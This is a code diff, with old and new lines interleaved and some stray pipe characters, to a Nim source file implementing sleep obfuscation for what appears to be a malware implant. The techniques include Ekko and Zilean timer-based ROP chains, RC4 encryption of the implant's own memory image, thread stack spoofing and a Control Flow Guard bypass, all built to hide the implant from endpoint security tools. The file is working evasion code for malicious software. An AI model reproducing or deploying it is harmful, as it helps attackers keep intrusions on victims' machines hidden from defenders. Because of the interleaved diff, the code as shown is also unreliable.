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@@ -1,7 +1,9 @@
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import winim/lean
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import winim/inc/tlhelp32
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import os, system, strformat
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import ../../common/[types, utils, crypto]
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import ./cfg
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import ../../common/[types, utils, crypto]
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# Sleep obfuscation implementation based on Ekko, originally developed by C5pider
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# The code in this file was taken from the MalDev Academy modules 54, 56 & 59 and translated from C to Nim
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@@ -18,11 +20,15 @@ type
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NotificationEvent,
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SynchronizationEvent
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WAIT_CALLBACK_ROUTINE = proc(Parameter: PVOID, TimerOrWaitFired: BOOLEAN): VOID
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PWAIT_CALLBACK_ROUTINE = ptr WAIT_CALLBACK_ROUTINE
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# Required APIs (definitions taken from NtDoc)
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proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").}
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proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").}
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proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").}
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proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
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proc RtlRegisterWait( hWait: PHANDLE, handle: HANDLE, function: PWAIT_CALLBACK_ROUTINE, ctx: PVOID, ms: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlRegisterWait"), dynlib: protect("ntdll.dll").}
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proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
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proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
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proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
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@@ -62,13 +68,18 @@ proc GetRandomThreadCtx(): CONTEXT =
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continue
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echo fmt"[*] Using thread {thd32Entry.th32ThreadID} for stack spoofing."
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break
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break
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return ctx
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# Ekko sleep obfuscation with stack spoofing
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proc sleepEkko*(sleepDelay: int) =
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proc sleepObfuscate*(sleepDelay: int, mode: SleepObfuscationMode = EKKO, spoofStack: bool = true) =
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echo fmt"[*] Using {$mode} for sleep obfuscation [Stack duplication: {$spoofStack}]."
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if sleepDelay == 0:
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return
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var
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status: NTSTATUS = 0
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img: USTRING = USTRING(Length: 0)
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@@ -78,12 +89,13 @@ proc sleepEkko*(sleepDelay: int) =
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ctxBackup: CONTEXT
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ctxSpoof: CONTEXT
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hThread: HANDLE
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hEvent: HANDLE
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hEventTimer: HANDLE
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hEventWait: HANDLE
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hEventStart: HANDLE
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hEventEnd: HANDLE
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queue: HANDLE
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timer: HANDLE
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value: DWORD = 0
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oldProtection: DWORD = 0
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delay: DWORD = 0
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try:
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@@ -91,11 +103,14 @@ proc sleepEkko*(sleepDelay: int) =
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NtContinue = GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtContinue"))
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SystemFunction032 = GetProcAddress(LoadLibraryA(protect("Advapi32")), protect("SystemFunction032"))
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# Add NtContinue to the Control Flow Guard allow list to make Ekko work in processes protected by CFG
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discard evadeCFG(NtContinue)
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# Locate image base and size
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var imageBase = GetModuleHandleA(NULL)
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var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage
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# echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)"
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img.Buffer = cast[PVOID](imageBase)
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img.Length = imageSize
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@@ -104,128 +119,177 @@ proc sleepEkko*(sleepDelay: int) =
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key.Buffer = keyBuffer.addr
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key.Length = cast[DWORD](keyBuffer.len())
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# Sleep obfuscation implementation using NTAPI
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# Sleep obfuscation implementation using Windows Native API functions
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# Create timer queue
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status = RtlCreateTimerQueue(addr queue)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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defer: discard RtlDeleteTimerQueue(queue)
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if mode == EKKO:
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status = RtlCreateTimerQueue(addr queue)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "RtlCreateTimerQueue " & $status.toHex())
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# Create events
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status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
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status = NtCreateEvent(addr hEventTimer, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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defer: CloseHandle(hEvent)
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raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
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if mode == ZILEAN:
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status = NtCreateEvent(addr hEventWait, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
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status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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defer: CloseHandle(hEventStart)
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raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
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status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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defer: CloseHandle(hEventEnd)
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raise newException(CatchableError, "NtCreateEvent " & $status.toHex())
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# Retrieve a random thread context from the current process
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ctxSpoof = GetRandomThreadCtx()
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if mode == EKKO:
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# Retrieve the initial thread context
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delay += 100
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status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, delay, 0, WT_EXECUTEINTIMERTHREAD)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "RtlCreateTimer/RtlCaptureContext " & $status.toHex())
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# Retrieve the initial thread context
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status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD)
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# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
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delay += 100
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status = RtlCreateTimer(queue, addr timer, SetEvent, cast[PVOID](hEventTimer), delay, 0, WT_EXECUTEINTIMERTHREAD)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "RtlCreateTimer/SetEvent " & $status.toHex())
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elif mode == ZILEAN:
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delay += 100
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status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](RtlCaptureContext), addr ctxInit, delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "RtlRegisterWait/RtlCaptureContext " & $status.toHex())
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delay += 100
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status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](SetEvent), cast[PVOID](hEventTimer), delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "RtlRegisterWait/SetEvent " & $status.toHex())
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# Wait for events to finish before continuing
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status = NtWaitForSingleObject(hEventTimer, FALSE, NULL)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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raise newException(CatchableError, "NtWaitForSingleObject " & $status.toHex())
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# Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming
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status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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WaitForSingleObject(hEvent, 1000)
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# Create handle to the current process
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status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, $status.toHex())
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defer: CloseHandle(hThread)
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if spoofStack:
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# Stack duplication
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# Create handle to the current process
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# Retrieve a random thread context from the current process
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ctxSpoof = GetRandomThreadCtx()
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status = NtDuplicateObject(GetCurrentProcess(), GetCurrentThread(), GetCurrentProcess(), addr hThread, THREAD_ALL_ACCESS, 0, 0)
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if status != STATUS_SUCCESS:
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raise newException(CatchableError, "NtDuplicateObject " & $status.toHex())
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# Preparing the ROP chain
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# Initially, each element in this array will have the same context as the timer's thread context
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for i in 0 ..< ctx.len():
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copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT))
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dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer
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dec(ctx[i].Rsp, sizeof(PVOID)) # Stack alignment, due to the RSP register being incremented by the size of a pointer
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var gadget = 0
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# ROP Chain
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# ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain.
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ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx)
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ctx[0].Rcx = cast[DWORD64](hEventStart)
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ctx[0].Rdx = cast[DWORD64](INFINITE)
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ctx[0].R8 = cast[DWORD64](NULL)
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ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
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ctx[gadget].Rcx = cast[DWORD64](hEventStart)
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ctx[gadget].Rdx = cast[DWORD64](INFINITE)
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ctx[gadget].R8 = cast[DWORD64](FALSE)
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inc gadget
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# ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-]
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ctx[1].Rip = cast[DWORD64](VirtualProtect)
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ctx[1].Rcx = cast[DWORD64](imageBase)
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ctx[1].Rdx = cast[DWORD64](imageSize)
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ctx[1].R8 = cast[DWORD64](PAGE_READWRITE)
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ctx[1].R9 = cast[DWORD64](addr value)
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ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
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ctx[gadget].Rcx = cast[DWORD64](imageBase)
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ctx[gadget].Rdx = cast[DWORD64](imageSize)
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ctx[gadget].R8 = cast[DWORD64](PAGE_READWRITE)
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ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
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inc gadget
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# ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4.
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ctx[2].Rip = cast[DWORD64](SystemFunction032)
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ctx[2].Rcx = cast[DWORD64](addr img)
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ctx[2].Rdx = cast[DWORD64](addr key)
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ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
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ctx[gadget].Rcx = cast[DWORD64](addr img)
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ctx[gadget].Rdx = cast[DWORD64](addr key)
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inc gadget
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# Ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
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ctxBackup.ContextFlags = CONTEXT_ALL
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ctx[3].Rip = cast[DWORD64](GetThreadContext)
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ctx[3].Rcx = cast[DWORD64](hThread)
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ctx[3].Rdx = cast[DWORD64](addr ctxBackup)
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if spoofStack:
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# ctx[3] contains the call to GetThreadContext, which retrieves the payload's main thread context and saves it into the CtxBackup variable for later restoration.
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ctxBackup.ContextFlags = CONTEXT_ALL
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ctx[gadget].Rip = cast[DWORD64](GetThreadContext)
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ctx[gadget].Rcx = cast[DWORD64](hThread)
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ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
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inc gadget
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# Ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
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ctx[4].Rip = cast[DWORD64](SetThreadContext)
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ctx[4].Rcx = cast[DWORD64](hThread)
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ctx[4].Rdx = cast[DWORD64](addr ctxSpoof)
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# ctx[4] contains the call to SetThreadContext that will spoof the payload thread by setting the thread context with the stolen context.
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ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
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ctx[gadget].Rcx = cast[DWORD64](hThread)
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ctx[gadget].Rdx = cast[DWORD64](addr ctxSpoof)
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inc gadget
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# ctx[5] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached.
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ctx[5].Rip = cast[DWORD64](WaitForSingleObjectEx)
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ctx[5].Rcx = cast[DWORD64](GetCurrentProcess())
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ctx[5].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
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ctx[5].R8 = cast[DWORD64](FALSE)
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ctx[gadget].Rip = cast[DWORD64](WaitForSingleObjectEx)
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ctx[gadget].Rcx = cast[DWORD64](GetCurrentProcess())
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ctx[gadget].Rdx = cast[DWORD64](cast[DWORD](sleepDelay))
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ctx[gadget].R8 = cast[DWORD64](FALSE)
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inc gadget
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# ctx[6] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory
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ctx[6].Rip = cast[DWORD64](SystemFunction032)
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ctx[6].Rcx = cast[DWORD64](addr img)
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ctx[6].Rdx = cast[DWORD64](addr key)
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ctx[gadget].Rip = cast[DWORD64](SystemFunction032)
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ctx[gadget].Rcx = cast[DWORD64](addr img)
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ctx[gadget].Rdx = cast[DWORD64](addr key)
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inc gadget
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# Ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
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ctx[7].Rip = cast[DWORD64](SetThreadContext)
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ctx[7].Rcx = cast[DWORD64](hThread)
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ctx[7].Rdx = cast[DWORD64](addr ctxBackup)
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if spoofStack:
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# ctx[7] calls SetThreadContext to restore the original thread context from the previously saved CtxBackup.
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ctx[gadget].Rip = cast[DWORD64](SetThreadContext)
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ctx[gadget].Rcx = cast[DWORD64](hThread)
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ctx[gadget].Rdx = cast[DWORD64](addr ctxBackup)
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inc gadget
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# ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X]
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ctx[8].Rip = cast[DWORD64](VirtualProtect)
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ctx[8].Rcx = cast[DWORD64](imageBase)
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ctx[8].Rdx = cast[DWORD64](imageSize)
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ctx[8].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
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ctx[8].R9 = cast[DWORD64](addr value)
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|
# ctx[8] contains the call to VirtualProtect to change the payload memory back to [R-X]
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|
|
ctx[gadget].Rip = cast[DWORD64](VirtualProtect)
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|
|
ctx[gadget].Rcx = cast[DWORD64](imageBase)
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|
|
ctx[gadget].Rdx = cast[DWORD64](imageSize)
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|
|
ctx[gadget].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE)
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|
|
ctx[gadget].R9 = cast[DWORD64](addr oldProtection)
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|
|
inc gadget
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|
|
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
|
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|
|
ctx[9].Rip = cast[DWORD64](NtSetEvent)
|
|
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|
|
ctx[9].Rcx = cast[DWORD64](hEventEnd)
|
|
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|
|
ctx[9].Rdx = cast[DWORD64](NULL)
|
|
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|
|
# ctx[9] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
|
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|
|
ctx[gadget].Rip = cast[DWORD64](NtSetEvent)
|
|
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|
|
ctx[gadget].Rcx = cast[DWORD64](hEventEnd)
|
|
|
|
|
ctx[gadget].Rdx = cast[DWORD64](NULL)
|
|
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|
|
|
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|
|
# Executing timers
|
|
|
|
|
for i in 0 ..< ctx.len():
|
|
|
|
|
for i in 0 .. gadget:
|
|
|
|
|
delay += 100
|
|
|
|
|
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
|
|
|
|
if status != STATUS_SUCCESS:
|
|
|
|
|
raise newException(CatchableError, $status.toHex())
|
|
|
|
|
|
|
|
|
|
if mode == EKKO:
|
|
|
|
|
status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD)
|
|
|
|
|
if status != STATUS_SUCCESS:
|
|
|
|
|
raise newException(CatchableError, "RtlCreateTimer/NtContinue " & $status.toHex())
|
|
|
|
|
|
|
|
|
|
elif mode == ZILEAN:
|
|
|
|
|
status = RtlRegisterWait(addr timer, hEventWait, cast[PWAIT_CALLBACK_ROUTINE](NtContinue), addr ctx[i], delay, WT_EXECUTEONLYONCE or WT_EXECUTEINWAITTHREAD)
|
|
|
|
|
if status != STATUS_SUCCESS:
|
|
|
|
|
raise newException(CatchableError, "RtlRegisterWait/NtContinue " & $status.toHex())
|
|
|
|
|
|
|
|
|
|
echo protect("[*] Triggering sleep obfuscation.")
|
|
|
|
|
|
|
|
|
|
status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL)
|
|
|
|
|
|
|
|
|
|
if status != STATUS_SUCCESS:
|
|
|
|
|
raise newException(CatchableError, $status.toHex())
|
|
|
|
|
raise newException(CatchableError, "NtSignalAndWaitForSingleObject " & $status.toHex())
|
|
|
|
|
|
|
|
|
|
echo protect("[*] Ending sleep obfuscation.")
|
|
|
|
|
|
|
|
|
|
except CatchableError as err:
|
|
|
|
|
sleep(sleepDelay)
|
|
|
|
|
echo protect("[-] "), err.msg
|
|
|
|
|
echo protect("[-] "), err.msg
|
|
|
|
|
|
|
|
|
|
finally:
|
|
|
|
|
# Cleanup
|
|
|
|
|
if queue != 0: discard RtlDeleteTimerQueue(queue)
|
|
|
|
|
if hEventTimer != 0: CloseHandle(hEventTimer)
|
|
|
|
|
if hEventWait != 0: CloseHandle(hEventWait)
|
|
|
|
|
if hEventStart != 0: CloseHandle(hEventStart)
|
|
|
|
|
if hEventEnd != 0: CloseHandle(hEventEnd)
|
|
|
|
|
if hThread != 0: CloseHandle(hThread)
|